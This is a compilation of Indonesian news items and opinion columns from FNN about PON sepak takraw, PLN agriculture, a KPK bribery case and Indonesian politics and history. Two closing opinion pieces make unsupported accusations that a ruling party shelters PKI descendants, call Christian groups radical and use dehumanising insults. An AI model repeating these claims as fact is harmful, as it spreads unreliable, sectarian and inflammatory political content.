Jakarta, FNN - Chemistry atau perasaan yang bertaut dan terkoneksi pada anak kembar menjadi salah satu kekuatan yang kini dimiliki atlet sepak takraw asal Jawa Barat Lena-Leni saat bertanding di arena Pekan Olahraga Nasional (PON) XX Papua. "Secara emosional bisa dianalogikan seperti itu (chemistry), sebab Lena-Leni itu satu keluarga," kata Manager Sepak takraw Jawa Barat Yusuf Jamaludin yang dijumpai Antara di babak penyisihan sepak takraw di GOR Trikora Universitas Cenderawasih, Jayapura, Papua, Jumat. Atlet putri kembar itu lahir di Indramayu, Jawa Barat. Lena lebih tua 30 menit dibandingkan Leni, tak heran Leni memanggil Lena dengan sebutan kakak meskipun tanggal lahir kedua atlet takraw itu sama pada 7 Juni 1989. Menurut Yusuf chemisty yang kuat dari peraih emas PON Kalimantan Timur 2008 itu terlihat dari gestur mereka saat tampil di arena. "Mereka sudah tidak perlu lagi berkomunikasi lewat perbincangan saat tampil di arena. Cukup dengan gestur saja, mereka sudah saling paham," katanya. Leni berada posisi tekong atau pemain tengah lapangan dan bertindak sebagai server atau yang memulai pukulan bola. Sedangkan sang kakak Lena berada pada posisi smash atau rejaman. "Saya percaya bahwa komunikasi mereka sudah terjalin kuat sejak di dalam kandungan," katanya. Dijumpai usai mengalahkan tim Sulawesi Barat di babak penyisihan tim dengan dua poin kemenangan, Lena mengakui bahwa chemisty menjadi kelebihan khusus bila dibandingkan atlet lainnya di sepak takraw. "Saya bisa tahu kalau Leni sedang down saat di arena. Biasanya langsung saya beri semangat dia dengan tepukan atau pelukan. Saya juga harus berupaya lebih keras lagi menjangkau operan bola dari dia," katanya. Rekan satu tim di tim Jabar, Astri Khairunisa, mengakui kekuatan chemistry yang menjadi keunggulan Lena-Leni saat pertandingan. "Mereka berdua tidak bisa dipisahkan dalam tim. Kalau Lena atau Leni disatukan, kekuatan kita bisa 100 persen, tapi kalau hanya Lena saja dan Leni digantikan yang lain, saya bisa pastikan kekuatan Jabar tidak bisa 100 persen," katanya. "Mereka akan mudah menerka dan memahami apa yang akan dikatakan kembarannya karena kedekatan batin satu sama lain yang erat. Terkadang dalam situasi genting, kode lirikan mata pun sudah dapat dimengerti oleh mereka," katanya. Selain mencatat prestasi meraih emas PON Kalimantan Timur 2008, Lena-Leni juga pernah meraih perak PON Riau 2012, emas tim double PON 2016, emas beregu PON 2016 serta perunggu Asian Games. (mth)

PLN: 124 Ribu Petani Bergabung dalam Program Electrifying Agriculture

Jakarta, FNN - PT PLN (Persero) mencatat sebanyak 124 ribu petani telah bergabung dalam program electrifying agriculture yang mampu meningkatkan produktivitas hingga 300 persen dan memangkas biaya operasional sebesar 60 persen. "Kami berpartisipasi aktif dalam program ini untuk mengurangi biaya operasional dan meningkatkan produktivitas petani. Kedua hal ini akan memudahkan petani go digital untuk menjual produknya di marketplace,” kata Direktur Niaga dan Manajemen PLN Bob Saril dalam keterangan yang dikutip di Jakarta, Jumat. Konsep electrifying agriculture atau elektrifikasi pertanian adalah perubahan gaya hidup para petani untuk berorientasi ke depan, sehingga sektor pertanian akan lebih maju, ekonomis, dan ramah lingkungan. Mayoritas petani telah beralih menggunakan pompa dan mesin penggilingan padi listrik, petani bawang merah mengadopsi teknologi perangkap hama berbasis lampu, petani kebun buah naga menggunakan rekayasa teknologi lampu hingga peternak ayam yang menggunakan sistem kandang tertutup. Selain itu, para petani juga beralih ke alat-alat dan mesin pertanian berbasis listrik dari sebelumnya memakai peralatan berbahan bakar fosil yang mahal dan merusak lingkungan. Didukung listrik PLN, mereka berani berinovasi dan memanfaatkan teknologi untuk mendongkrak produktivitas dan menekan biaya operasional sehingga kesejahteraan kian meningkat. Seluruh manfaat dari program electrifying agriculture tersebut tertuang dalam buku berjudul "Petani Cerdas 4.0: Go Modern, Go Electrifying". "Program ini dapat mendukung pemerintah dalam menjaga ketahanan pangan nasional. PLN siap memasok listrik yang andal ke lumbung pangan yang telah dicanangkan Presiden Joko Widodo," ujar Bob. Sekretaris Jenderal Kementerian Pertanian Kasdi Subagyono mengapresiasi langkah PLN yang menggagas electrifying agriculture. Menurutnya, kolaborasi antara Kementerian Pertanian dan PLN di program ini merupakan salah satu dari lima misi Kementerian Pertanian untuk membangun pertanian modern. ”Kerja sama kami dengan PLN adalah inovasi dan hasil kolaborasi yang sudah terbukti manfaatnya, seperti light trap perangkap hama dan irigasi listrik. Ke depannya, kami berharap PLN bisa menyediakan potensi energi yang ada di sentra pertanian, seperti energi matahari, air, dan lainnya yang bisa ditransformasikan menjadi energi listrik,” ucap Kasdi. (mth)

Ungkit-Mengungkit, Sindir-Menyindir

Oleh Ady Amar MENGUNGKIT bahwa yang lalu pernah diminta bantuan, dan membantunya. Tapi protesnya, kok tega orang yang dibantunya itu justru berbuat tidak semestinya. Tanyanya lagi penuh protes, apa sudah lupa pada bantuan yang diberikan pada saat yang lalu. Mustahil lupa, karena bantuan itu diminta belum setahun lalu. Maka, mengungkit jasa bantuan yang pernah diberikan, itu jadi satu kewajaran. Masa sih bantuan yang pernah diberikan itu dilupakan, dan harus dibalas dengan sikap tidak mengenakkan. Itu seperti menusuk dari belakang oleh kawan yang pernah dibantu. Mengibah saat ingin dibantu, tapi lalu melupakan seolah itu tidak pernah terjadi. Adalah hal biasa jika membantu karena memang patut dibantu, atau membantu karena diminta untuk membantu, itu hal manusiawi. Tapi memang menjadi menyakitkan, jika seseorang yang pernah dibantu tiba-tiba menyerang dan bersekongkol dengan pihak musuh untuk menghabisi. Maka mengungkit, artinya menyampaikan pada khalayak, bahwa sebenarnya yang menyerangnya saat ini, adalah orang yang dulu pernah datang meminta bantuan, dan dibantu sesuai apa yang diharapkan. Semata agar khalayak memahami, agar berhati-hati dengan manusia satu ini. Tidak cukup di situ, tapi tersirat ingin memberi penekanan, bahwa manusia satu ini memang tidak punya empati sedikit pun. Lebih jauh lagi, agar manusia satu ini sebaiknya dijauhi, agar sakitnya "tuh di sini" tidak mengena pada lainnya. Bisa jadi seseorang yang disebut manusia satu ini, kerap melakukan hal demikian. Artinya, mudah lupa pada jasa seseorang, itu seperti sudah jadi tabiatnya. Hanya saja pihak lain tidak mengungkitnya, hanya memendam saja, cari celah untuk membalas jika waktunya tiba. Menohok Yusril Sindir-menyindir para politisi di negeri ini, itu hal yang biasa. Itu cara komunikasi yang tidak langsung menunjuk pada lawan. Tapi berharap yang disasar faham, bahwa sindiran itu ditujukan padanya, bahwa ada hal yang tidak etis dilakukan dan itu menyakitkan. Beberapa bulan lalu mengakui keberadaan Partai Demokrat, bahkan meminta rekom dari Partai Demokrat, yang ditandatangani Agus Harimurti Yudhoyono (AHY). Hari ini malah mempersoalkan produk kongres yang memilih AHY, itu yang disampaikan Jansen Sitindaon lewat akun Twitternya (Senin, 27 September). Lanjutnya, "Saran saya kepada partai-partai lain: hati-hati kepada keluarga ini. Jangan lagi pernah memberi rekom kepada mereka. Nanti ujungnya kalian digugat lagi! Salam." Sindiran itu jelas ditujukan pada Yusril Ihza Mahendra, yang pada bulan Desember 2020, datang menemui AHY. Meminta rekom Partai Demokrat untuk sang anak, Yuri Kamal, yang akan maju pada Pilkada Belitung Timur. Seolah Jansen merasa diri bukan politisi, pura-pura tidak faham pada adagium "tidak ada kawan abadi, yang ada kepentingan abadi". Atau memang ia menyadari dan hanya mengungkit sambil menyindir seorang Yusril, yang meminta rekom Partai Demokrat, tapi tidak lama kemudian justru ia juga yang menggugat AD/ART Partai Demokrat, produk kongres yang memilih AHY. Langkah Yusril Ihza Mahendra saat ini memang mendampingi empat mantan kader Partai Demokrat, sebagai pengacara, mengajukan Judicial Review atas AD/ART Partai Demokrat hasil Kongres ke-5, 2020, ke Mahkamah Agung (MA). Mendapat serangan dari Partai Demokrat seolah jadi pribadi "tidak tahu diri", Yusril pun tidak mau kalah mengungkit, bahwa tanpa dukungannya dulu, Susilo Bambang Yudhoyono (SBY) tak akan menjadi presiden. Ungkit Yusril atas jasa Partai Bulan Bintang yang dipimpinnya, yang saat itu berkoalisi dengan Partai Demokrat, SBY bisa maju sebagai Capres dan lalu menjadi Presiden RI ke-6. Ungkitan Yusril yang seolah tanpanya SBY tidak akan jadi Presiden, itu ditampik Dr. Refly Harun, pakar hukum tata negara. Katanya, tanpanya SBY tetap bisa maju sebagai Capres, bisa maju tanpa bantuan PBB. Kursi yang didapat Partai Demokrat sebagai syarat untuk bisa mengajukan calonnya sendiri sekalipun itu sudah memenuhi syarat. Minimal mendapat 21 kursi DPR, seseorang bisa maju sebagai Capres. Bisa maju diajukan sendiri oleh partainya atau bisa maju dengan koalisi. Partai Demokrat mendapat 26 kursi DPR saat itu, artinya jumlah kursi yang didapat sudah lebih dari cukup dari persyaratan yang ada. Maka, ungkitan Yusril itu mengada-ada saja, tidak berdasar. Justru dengan "nebeng" koalisi dengan Partai Demokrat, Yusril dapat keuntungan tersendiri, ia lalu dapat jatah sebagai Menteri Sekretaris Negara (Mensekneg). Hati-hati kepada keluarga ini, sindir Jansen Sitindaon, meski tidak menyebut nama Yusril Ihza Mahendra, tapi itu pastilah ditujukan padanya, yang pernah dibantu meski melupakan, dan bahkan menyerang balik Partai Demokrat. Ungkit mengungkit dan sindir-menyindir pun tampaknya jadi hal yang umum dikalangan politisi. Itu cara lain komunikasi yang dibangun seolah tidak sarkastis, tapi cukup menohok. (*) *) Kolumnis

Saling Puji Sukarno dan Nyoto

Jakarta, FNN - Pengamat komunikasi politik dan militer dari Universitas Nasional (Unas) Jakarta, Selamat Ginting mengungkapkan, Presiden Sukarno lebih menyukai anak muda daripada tokoh tua untuk membantunya. Baik di dalam Partai Nasional Indonesia (PNI) maupun pemerintahan. “Ia tidak puas dengan kerja pembantu utamanya Ruslan Abdulgani dan Subandrio dalam membuat teks pidatonya. Keduanya kemudian tidak dipakai lagi. Digantikan Nyoto, seorang anggota PKI (Partai Komunis Indonesia) tulen,” kata kandidat doktor ilmu politik dari Unas di Jakarta, Jumat (1/10). Dikemukakan, setelah sempat pingsan pada 4 Agustus 1965, Presiden Sukarno beristirahat di Istana Tampaksiring, Bali. Sukarno gelisah, karena menjelang Hari Kemerdekaan 17 Agustus 1965, belum menyiapkan pidato untuk hari besar nasional tersebut. Kemudian, lanjut Ginting, Sukarno meminta Ajun Komisaris Besar Polisi (AKBP) Mangil Martowidjojo (Komandan Detasemen Kawal Pribadi) untuk mencari Nyoto. Sukarno tidak lagi membutuhkan Subandrio maupun Ruslan Abdulgani untuk membuat konsep pidato hari kemerdekaan 17 Agustus 1945. "Jadi, Bung Karno merasa lebih cocok dengan gaya pidato yang disusun oleh Nyoto daripada Ruslan Abdulgani maupun Subandrio,” ungkap dosen Fakultas Ilmu Sosial dan Ilmu Politik (FISIP) Unas itu. Selamat Ginting menjelaskan, dalam riwayat hidupnya, Nyoto adalah PKI asli sejak awal terjun ke politik. Pernah menjadi Ketua Departemen Agitasi dan Propaganda PKI. Nyoto memang pandai memilih diksi yang dapat membakar massa. Lelaki dengan nama asli Koesoemo Digdojo, kemudian mengganti namanya menjadi lebih singkat agar mudah dihapal: Nyoto. “Sejak remaja Nyoto sudah menjadi aktivis PKI. Usai pemberontakan PKI di Madiun pada 1948, Nyoto bersama DN Aidit, dan MH Lukman, berhasil membangun dan membesarkan PKI,” ungkap Selamat Ginting yang lama menjadi wartawan politik di sejumlah media massa. Dikemukakan, Sukarno menyukai tipikal Nyoto, komunis yang ‘liberalis’, tidak dogmatis, dan pragmatis. Bahkan Nyoto pandai memainkan alat musik saksofon dan gemar berpesta lenso, seperti Sukarno. Sebagai menteri negara, Nyoto juga kerap menyanyi di istana untuk menghibur tamu-tamu paduka yang mulia. Bersama penyanyi top Ibukota, seperti Titiek Puspa maupun Rima Melati. Bung Karno, lanjut Ginting, pernah menjuluki Nyoto ‘Marhaenis sejati’. Sebuah ideologi kerakyatan yang dicetuskan Sukarno untuk PNI. Nyoto tak mau kalah. Ia orang pertama yang mengeluarkan istilah ‘Sukarnoisme’. Keduanya saling mengagumi. “Bagi Nyoto, Marxisme terlalu asing bagi petani dan borjuis kecil, garapan PKI. Sedangkan Sukarnoisme itu lebih jelas, dan orangnya juga masih hidup.” Sikap Nyoto ini, kata Ginting, membuat para pemimpin PKI kehilangan respek. Konflik antara Aidit dengan Nyoto akhirnya tak terhindarkan. Aidit pun memberikan skorsing terhadap Nyoto, dengan membuat alasan pribadi. Nyoto dituding terlibat hubungan gelap dengan seorang perempuan Uni Soviet. “Aidit minta Nyoto memutuskan hubungan tersebut. Aidit sangat antipoligami. Padahal Sukarno melakukan poligami dengan memiliki sejumlah istrinya,” kata Selamat Ginting. Pengamat politik itu mengungkapkan, buntut dari konflik antara Aidit dengan Nyoto, membuat Sukarno harus turun tangan. Bung Karno menyarankan Nyoto membuat partai baru dengan ideologi Sukarnoisme. Usulan nama partainya adalah Partai Rakyat Indonesia. “Bung Karno menganggap Sukarnoisme adalah penyempurnaan Marhaenisme. Tapi ide itu tak pernah kesampaian, karena situasi politik begitu cepat berubah usai pecahnya peristiwa G30S/PKI tahun 1965,” tutup Ginting. sws)

Siapa Yang Bilang PKI Tidak Ada, Dialah PKInya

SEBUAH pernyataan tegas dari Menhan Jenderal Ryamizard Ryacudu pada tahun 2016 yang lalu, dimana videonya masih dapat kita lihat sampai hari ini. Dengan tegas Menhan Ryamizard berkata “Siapa yang bilang PKI itu tidak ada. Jangan- jangan dialah PKI nya? “ Tentu pernyataan seorang Menhan yang mempunyai perangkat dan infrastruktur resmi pemerintahan tidak berkata sembarangan. Pasti Menhan Ryamizard punya data, fakta, bukti yang kuat sehingga komentar tersebut sampai keluar. Bagi yang melek sejarah dan cinta terhadap masa depan bangsa ini, pasti juga akan paham kenapa ada ketakutan dan kecemasan yang begitu dalam atas bangkitnya paham komunisme atau istilah Prof Salim Said dalam podcast nya di channel Refflt Harun akan “ ancaman pembalasan dendam para anak keturunan PKI “. Maka kecemasan dan warning yang selalu disampaikan Jenderal TNI Gatot Nurmantyo akan mejadi positif. Mengingat begitu berbahayanya apabila paham komunisme yang dilanjutkan oleh kelompok Neo PKI (anak anak gembong PKI) kembali bangkit dan mengacak-acak keutuhan NKRI serta ideologi Pancasila Secara hukum memang sudah jelas, paham komunisme dan PKI ini sudah di larang dan diharamkan melalui TAP/MPRS/XXV/1966 dan UU nomor 27 Tahun 1999. Namun namanya ideologi, mereka akan tumbuh bak jamur yang akan tetap hidup selama nafas di badan. Apalagi punya kekuasaan? Anehnya saat ini di Indonesia, ada satu kelompok yang apabila ancaman PKI ini diingatkan dan diperingati setiap bulan September macam cacing kepanasan dan uring-uringan seperti babi terluka. Logikanya begini. Ketika kita berbicara tentang kekejaman penjajahan Belanda ratusan tahun terhadap bumi Nusantara, orang Belanda tak ada yang marah-marah. Karena sudah tidak ada di Indonesia lagi. Ketika kita memperingati kekejaman penjajahan Jepang 3,5 tahun di Nusantara, orang Jepang tak ada yang protes dan marah-marah karena Jepang memang sudah tidak menjajah Indonesia lagi. Tetapi ketika kita memperingati “kebiadaan pengkhianatan PKI, ada kelompok yang marah-marah, namun katakan “ PKI sudah tidak ada lagi di Indonesia “. Kan aneh sekali bukan? Sampai mengeluarkan kata caci maki melalui buzzer bayaran hingga penjarakan orang karena punya kekuasaan. Kan aneh bin ajaib? Analoginya juga sederhana. Ibarat ada tetangga kita yang peduli dan melihat ada tanda-tanda orang maling masuk menyusup ke rumah kita, seharusnya kita berterima kasih dan bersama-sama mengajak mencari si maling yang sembunyi. Bukan malah marah dan mencaci maki orang atau tetangga yang berikan informasi itu. Ada apa? Di manapun bangsa di dunia ini pasti punya sejarah masing-masing. Argentina selalu memperingati peristiwa Malvinas misalnya. Jerman dengan Nazinya mesti Nazi juga dilarang di sana. Perancis memperingati hari pemboman Jerman terhadap negaranya, Inggris juga demikian. Kenapa itu dilakukan, karena menganggap sejarah adalah sebuah pembelajaran dan heritage negaranya agar selalu di kenang masyarakatnya setiap generasi Lalu apa salahnya, ketika bangsa Indonesia juga memperingati sebuah tragedi kelam bangsa ini tragedi kekejaman, dan kebiadaban yang sadis dari para kaum komunis yang tergabung dalam PKI membantai ribuan umat Islam, para kiyai, santri, pejabat negara, keturunan raja-raja hingga Jenderal TNI AD. Karena peristiwa kekejaman ini sudah dua kali terjadi yaitu pada tahun 1948 di Madiun dan 1965. Itu adalah sebuah fakta sejarah. Bahwa PKI ingin mengganti ideologi Pancasila menjadi komunis, serta melakukan kudeta dan pembunuhan berdarah-darah tapi berhasil digagalkan dan ditumpas oleh TNI bersama umat Islam. Komentar menarik juga dilontarkan Kyai kondang asal NU Gus Baha dalam chanelnya “ PKI itu ideologinya salah ya salah. Kalau tak suka dengan Suharto dan Orde Baru ya silahkan saja. Tapi paham yang salah dan haram itu ya tetap salah “. Artinya, tentu wajar masyarakat semakin curiga dan was-was saat ini melihat reaksi suatu kelompok yang macam cacing kepanasan apabila disebutkan PKI ini bangkit kembali. Sebuah kelompok yang kalau kita petakan, adalah orangnya sama apakah itu kebetulan atau tidak, para kelompok yang selalu sinis terhadap umat Islam dan TNI. Suatu kelompok yang suka mencaci maki umat Islam yang istiqomah dan keras terhadap kezaliman dengan panggilan “kadrun”. Sedangkan kita tahu, istilah panggilan kadrun ini dahulu juga didengungkan oleh kelompok PKI pada tahun 1960an. Kelompok tersebut jugalah yang ingin mengganti Pancasila berubah jadi Trisila dan Ekasila. Kelompok itu jugalah yang menganjurkan pelajaran agama di hapuskan dalam kurikulum pendidikan. Bagian dari kelompok ini jugalah yang menyatakan Agama adalah musuh Pancasila. Namun Pancasila juga tidak ada dalam sebuah Peraturan Pemerintah namun diralat kemudian hari akibat protes masyarakat dengan alasan lupa. Kelompok ini jugalah yang setiap tahun para kadernya dikirim sekolah belajar ke Partai Komunis China. Kelompok ini jugalah yang selalu menggunakan kata kata tuduhan intoleransi, radikalisme, untuk menyudutkan umat Islam. Kelompok ini jugalah sarang para koruptor berkumpul terbanyak di Indonesia. Kelompok ini jugalah yang ketua umumnya tidak percaya terhadap hari akhir. Dan kelompok ini jugalah yang diakui sendiri oleh petinggi kadernya menjadi tempat rumahnya para anak anak PKI. Lalu kalau ada yang mengatakan, silahkan buktikan siapa dan di mana PKI, jawabannya sederhana saja. Tak usah dibuktikan. Cukup mengaku dan jujur saja pada publik. Jangan jadi pengecut bersembunyi di balik ketiak kekuasaan. Tampillah dengan gentleman. Tak usah malu-malu. Biar bangsa ini segera dapat membedakan mana yang haq dan mana yang batil secara terang benderang. Sederhana bukan? Kembali pada pernyataan mantan Menhan Ryamizard Ryacudu. Akhirnya, masyarakat jadi cerdas. Jadi semakin tahu dan belajar. Bahwa ancaman pembalasan dendam anak anak PKI itu semakin nyata, meski bagaimanapun mereka berkilah dan menutupinya. Karena kalau para anak anak PKI itu tak ada keinginan bangkit kembali atau tidak mau balas dendam, seharusnya merespons biasa biasa saja. Tak usah panas dan uring-uringan. Atau mungkin karena lagi berkuasa? Karena lagi pegang kekuasaan? Biarkan waktu yang menjawabnya. Yang jelas bagi yang cinta terhadap bangsa dan masa depan negara ini, waspadalah. Rapatkan barisan. Ingat kata bijak para pendahulu kita ; “ Apabila suatu bangsa melupakan sejarah kelam masa lalunya, maka dikutuk akan mengulangi sejarah kelam itu kembali “. Sejarah 1965 terjadi, karena Soekarno tidak belajar dan melupakan sejarah 1948. Dan untuk itu bagi kita yang hidup hari ini. Jangan pernah melupakan sejarah kebiadaban PKI di tahun 1965, kalau tidak ingin sejarah itu berulang kembali. Wallahu’alam.

Melayat Secara Daring Megawati Pimpin Doa Bersama untuk Almarhum Sabam Sirait

Jakarta, FNN - Ketua Umum DPP PDI Perjuangan Megawati Soekarnoputri dan Sekjen DPP PDIP Hasto Kristiyanto memimpin doa bersama dengan keluarga besar PDIP untuk pendiri partai, Sabam Sirait yang meninggal pada Kamis pagi. Doa bersama itu dilakukan di sela rapat terbatas pemberian tali asih untuk 201 keluarga kader PDIP yang meninggal selama pandemi COVID-19, secara daring, Kamis. "Satu-satunya deklarator partai yang masih ada yaitu Bapak Sabam Sirait juga telah meninggalkan kita semua. Dengan rasa dukacita, seluruh pengurus partai juga mengucapkan duka cita mendalam," kata Megawati Soekarnoputri sebelum doa. Sekjen PDIP Hasto Kristiyanto menuturkan, Sabam adalah adalah panutan partai berlambang banteng moncong putih itu. Sabam tercatat sebagai sekretaris jenderal tiga periode selama partai masih bernama Partai Demokrasi Indonesia (PDI). Kiprah Sabam sangat melekat dengan PDIP. Selain itu, Sabam juga cukup lama menjadi anggota DPR RI Gotong Royong sejak tahun 1967 hingga tahun 1982. Kemudian menjadi anggota DPR RI dari PDIP di tahun 1999 - hingga 2009. "Seluruh kader partai mengucapkan belasungkawa dan mendoakan beliau agar dilapangkan jalannya dan diterima di tempat yang terbaik di surga. Dan kemudian keluarga mendapat rahmat penghiburan terbaik, dan kita pun dapat mewarisi seluruh nilai perjuangan beliau," kata Hasto. Doa secara khusus dibawakan oleh Ketua Bamusi Provinsi Lampung Ustaz Suparman Abdul Karim. Tampak sesekali Ketum Megawati Soekarnoputri mengusap air mata saat doa dibacakan. "Kami berdoa keluarga besar kami yang wafat karena virus corona, khususnya bapak deklarator kami bapak Sabam Sirait," ujar Ustaz Suparman dalam penggalan doanya. Doa dan penghormatan itu, selain dihadiri Megawati dan Hasto, juga diikuti oleh Wasekjen Sadarestuwati dan Ketua DPP PDIP bidang organisasi Sukur Nababan. Kepala Pusat Analisa dan Pengendali Situasi (Situation Room) PDIP M.Prananda Prabowo dan Ketua DPR Puan Maharani juga hadir di acara itu secara virtual. Sejumlah kepala daerah termasuk Gubernur Jawa Tengah Ganjar Pranowo dan wakil walikota Semarang Hevearita G. Rahayu ikut hadir bersama ratusan pengurus daerah partai dari seluruh Indonesia. (sws, ant)

KPK Tetapkan 10 Anggota DPRD Muara Enim Jadi Tersangka

Muara Enim, FNN - Komisi Pemberantasan Korupsi (KPK) mengumumkan 10 Anggota DPRD Kabupaten Muara Enim sebagai tersangka kasus dugaan suap pengadaan barang dan jasa di Dinas PUPR serta pengesahan APBD Kabupaten Muara Enim, Sumatera Selatan Tahun 2019. "Setelah dilakukan pengumpulan informasi dan data yang kemudian ditemukan adanya bukti permulaan yang cukup dan adanya berbagai fakta hukum selama proses persidangan dalam perkara awal dengan terdakwa Ahmad Yani dan kawan-kawan, KPK melakukan penyelidikan dan meningkatkan status perkara ini ke tahap penyidikan pada bulan September 2021 dengan mengumumkan tersangka," kata Wakil Ketua KPK Alexander Marwata saat jumpa pers di Gedung KPK, Jakarta, Kamis. Adapun 10 anggota DPRD Kabupaten Muara Enim periode 2019-2023 tersebut, yakni Indra Gani BS (IG), Ishak Joharsah (IJ), Ari Yoca Setiadi (AYS), Ahmad Reo Kusuma (ARK), Marsito (MS), Mardiansyah (MD), Muhardi (MH), Fitrianzah (FR), Subahan (SB), dan Piardi (PR). Dalam kasus tersebut, KPK sebelumnya telah menetapkan enam tersangka. Lima orang perkaranya telah berkekuatan hukum tetap, yaitu Robi Okta Fahlefi dari pihak swasta, mantan Bupati Muara Enim Ahmad Yani, mantan Kepala Bidang Pembangunan Jalan dan Pejabat Pembuat Komitmen (PPK) di Dinas PUPR Kabupaten Muara Enim Elfin MZ Muchtar. Selanjutnya, mantan Ketua DPRD Kabupaten Muara Enim Aries HB dan mantan Plt Kadis PUPR Muara Enim Ramlan Suryadi. Sementara satu orang, yaitu Bupati Muara Enim nonaktif Juarsah saat ini perkaranya masih tahap persidangan di Pengadilan Tipikor Palembang. Atas perbuatannya, para tersangka disangkakan melanggar Pasal 12 huruf a atau Pasal 11 Undang-Undang Nomor 31 Tahun 1999 sebagaimana telah diubah dengan Undang-Undang Nomor 20 Tahun 2001 tentang Pemberantasan Tindak Pidana Korupsi jo Pasal 55 ayat (1) ke 1 KUHP. Alex mengatakan untuk kepentingan penyidikan, tim penyidik melakukan upaya paksa penahanan para tersangka untuk 20 hari ke depan terhitung sejak 30 September 2021 sampai dengan 19 Oktober 2021. Empat tersangka, yakni Indra Gani BS, Ari Yoca Setiadi, Mardiansyah, dan Muhardi ditahan di Rutan KPK Kavling C1 berlokasi di Gedung Pusat Edukasi Antikorupsi KPK, Jakarta. Empat tersangka lainnya ditahan di Rutan KPK pada Pomdam Jaya Guntur, yaitu Ishak Joharsyah, Ahmad Reo Kusuma, Marsito, dan Fitrianzah. Sementara dua tersangka lainnya ditahan di Rutan KPK pada Pomdam Jaya Guntur, yakni Subahan dan Piardi. "Untuk antisipasi penyebaran COVID-19 di lingkungan Rutan KPK, para tersangka akan dilakukan isolasi mandiri pada rutan masing-masing," ucap Alex. (ant, sws).

Mewaspadai Era Pelampiasan Dendam

MERUJUK pada statemen Prof Salim Said, pengamat militer pertahanan Guru Besar Universitas Pertahanan yang mengatakan “ Komunis di dunia sudah bangkrut. Artinya yang jadi ancaman bagi bangsa ini adalah pembalasan dendam anak-anak PKI. Karena dulu menghasilkan pertumpahan darah yang banyak dari masing pihak “. Dan musuh utama PKI itu dulu adalah TNI dan umat Islam. Karena TNI bersatu bersama umat Islam menumpas balik PKI yang selama masa Orde Lama menjadi anak emas Presiden Soekarno. Yang menarik menjadi perhatian kita saat ini adalah kenapa, sejak pemerintahan hari ini berkuasa suasana keharmonisan masyarakat kita begitu tegang. Perbedaan agama, pendapat, dan pandangan dalam politik menjadi begitu tajam. Khususnya dalam hal kehidupan beragama. Tiba tiba saja, Islam sebagai agama mayoritas di negeri ini seakan menjadi asing. Stigmaisasi intoleran, radikal, teroris, menjadi pisau runcing nan tajam mengoyak-ngoyak dada umat Islam dengan perihnya. Islam dibuat seolah sumber segala masalah dan keributan di negeri ini. Sesama umat Islam dibentur-benturkan. Para tokoh dan ulamanya diadu domba. Dihinakan dan semakin sering terjadi teror, pembunuhan, kriminalisasi dan fitnah. Umat Islam dibuat seakan menjadi penyakit dan parasit di bumi Nusantara ini. Padahal kalau kita jujur, yang menjadi permasalahan utama negeri ini adalah korupsi, kerusakan moral, perampokan sumber daya alam, kemiskinan, pengangguran, kerusakan lingkungan, dan rusak ya harmonisasi persatuan di tengah masyarakat. Caci maki dan hinaan menjadi santapan wajib tiap hari kalau kita melihat media massa. Seolah ada semacam gelora dendam kesumat yang sedang di lampiaskan kepada umat Islam di Indonesia. Kalau terjadi kekerasan pada Ustad dan ulama, pasti yang menjadi pelakunya orang gila atau orang mabuk. Sehingga lepas begitu saja. Tapi kalau pelakunya dari kelompok umat Islam, pasti akan dipelasah sedemikian rupa tanpa ampun. Ketika umat Islam pelaku kejahatan, maka agamanya akan dibawa-bawa. Kalau pelakunya bukan umat Islam, maka itu dianggap masalah sosial biasa. Lihatlah apa yang terjadi pada Kosman Kece. Si penista agama Islam, baru kena gebuk ala penjara saja, beritanya begitu ramai dan riuh. Seolah terjadi malapetaka hak asasi manusia yang begitu kejam Bandingkan dengan terbunuhnya 6 orang laskar FPI dengan biadab, dibuat seolah biasa saja malah si korban di jadikan tersangka dan seolah jadi penjahat Ketika umat Islam yang tidak pro penguasa mengkritik di sosial media, dengan mudah ditangkap dan dipenjarakan dengan berbagai alasan Tapi kalau yg mengkritik dari kelompok penguasa seperti Abu Janda, Deny Siregar, Dewi Tanjung, dan Ade Armando Cs maka akan aman aman saja Di Indonesia sekarang ini seolah sedang terjadi badai sistemik Islamfobia yang dahsyat. Islamfobia yang berujung pada fasisme akut. Siapa yang ikut akan dapat fasilitas dan kesenangan, tapi bagi siapa yang tidak ikut akan di habisi dan dimusuhi. Kalau kita lebih dalami dan teliti lagi ke dalam, maka polarisasi ini akan semakin jelas perseteruan antara kelompok Islam fundamentalis (kanan) dengan kelompok kiri dan liberal. Kelompok Islam kanan ini seperti Muhammdiyah, FPI, HTI, Al Irsyad atau umumnya 212 di tambah NU kultural, berseteru dengan kelompok kiri dan liberal di tambah NU struktural dan Syiah. Kelompok kiri ini dominan berada di bawah payung partai penguasa PDIP. Di dukung penuh oleh kelompok non muslim radikal yaitu dari kelompok Katolik dan Protestan. Silahkam kita scanning dan petakan. Dua kubu ini yang semakin tajam dan dalam permusuhannya. Namun kelompok kiri yang di pimpin PDIP ini lebih di untungkan. Karena sedang memegang tampuk kekuasaan. Sehingga yang jadi babak belur adalah kelompok kanan Islam fundamentalis ini. Disinilah kita dapat mrembaca, bagaimana aura kebencian itu terbaca. Seakan membalaskan sebuah dendam kesumat masa lalu yang tak terperi. Apapun permasalahannya, semua berujung pada kadrun dan cebong. PKI dan Islam Radikal. Sangat miris dan menyedihkan. Dan sayangnya, pemerintah seakan merawat kondisi ini. Karena sampai saat ini tidak ada upaya menyatukan dan rekonsoliasi senagaimana seharusnya seorang bapak bangsa. Makanya, banyak masyarakat berkesimpulan. Rezim hari ini adalah rezim penuh dengan pelampiasaj dendam. Orang orang yang berkuasa adalah orang orang yang maniak lagi membalaskan dendamnya menggunakan tangan kekuasaannya. Dendam masa lalu, dengki berbau SARA, sentimen keagamaan yang penuh kebencian. Pemaksaan kehendak dan tipu daya menjadi jadi. Mereka seakan lupa, bahwa Indonesia adalah negara demokrasi. Yang artinya secara hukum beso politik, tidak ada kekuasaan yang abadi. Roda kekuasaan pasti akan berputar Kita tidak tahu apa yang terjadi di depan. Belajarlah kepada masa lalu. Bagaimana PKI dimasa pemerintahan Soekarno berkuasa dan jadi anak emas. Sehingga banyak memanfaatkan tangan kekuasaan untuk menghabisi musuh ideologisnya seperti pembubaran Masyumi, HMI, dan pembunuhan berdarah para Jendral dan tokoh ulama masyarakat. Tapi lihatlah setelah itu, ketika rakyat tersadar, yang terjadi adalah serangan balik yang dahsyat. Sampai lahirnya orde baru. Dimana PKI dan keturunannya tak berkutik. Namun setelah orde baru jatuh, lahirlah era reformasi. Namun apa kata para tokoh sepuh yang permah hidup di era tahun 60an. Suasana kehidupan politik sosial saat ini samgat mirip dengan suasana era PKI dan Orde Lama. 